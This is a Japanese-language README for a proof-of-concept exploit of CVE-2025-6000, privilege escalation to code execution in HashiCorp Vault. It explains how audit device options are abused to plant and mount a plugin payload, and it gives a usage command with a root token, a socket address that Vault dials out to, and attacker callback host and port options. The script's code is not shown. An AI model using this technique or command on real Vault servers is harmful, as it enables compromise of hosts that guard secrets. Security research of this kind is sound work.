CVE-2025-6000 — HashiCorp Vault 特権コード実行（PoC）

CVE-2025-6000 の概念実証コードです。HashiCorp Vault の監査バックエンドにおける権限昇格から RCE に至る脆弱性を利用します。監査デバイスでは、特権を持つ呼び出し元が prefix、file_path、mode オプションを検証なしで制御できます。実行可能なペイロードを Vault の plugin_directory に書き込み、それをプラグインとして登録・マウントすることで、ルートトークンを持つ攻撃者は Vault ホスト上で任意のコードを実行できます。

デモ

https://github.com/user-attachments/assets/f8d6c90a-b511-4e96-8e4d-718c7a765601

影響を受けるバージョン

• plugin_directory が設定された Vault 0.8.0 から 1.20.0 まで
• ルートトークンまたは同等の権限が必要（sys/audit、sys/plugins、sys/mounts）

使用方法

python3 CVE-2025-6000.py <vault-host> <vault-port> --token <root-token> \
    --socket-addr <ip:port Vault dials> \
    --listen-port 9861 \
    --callback-host <your-ip> --callback-port 8000 \
    --cleanup

• --socket-addr — Vault が監査ストリームのために接続するアドレス（VPN IP:ポートまたは ngrok TCP エンドポイント）
• --listen-port — キャプチャサーバーがバインドするローカルポート
• --callback-host / --callback-port — 実行確認に使用する HTTP エンドポイント
• --cleanup — 最後に監査デバイス、プラグイン、マウントを削除します

キャプチャに失敗した場合、スクリプトは手動の SHA256 プロンプトにフォールバックします。すべてのオプションを確認するには -h を実行してください。

免責事項

許可されたセキュリティテスト、研究、教育目的のみに使用してください。所有しているシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。本ソフトウェアの使用はすべて自己責任であり、著者は誤用や損害について一切の責任を負いません。コンピュータシステムへの不正アクセスは違法です。

ライセンス

MIT — LICENSE を参照してください。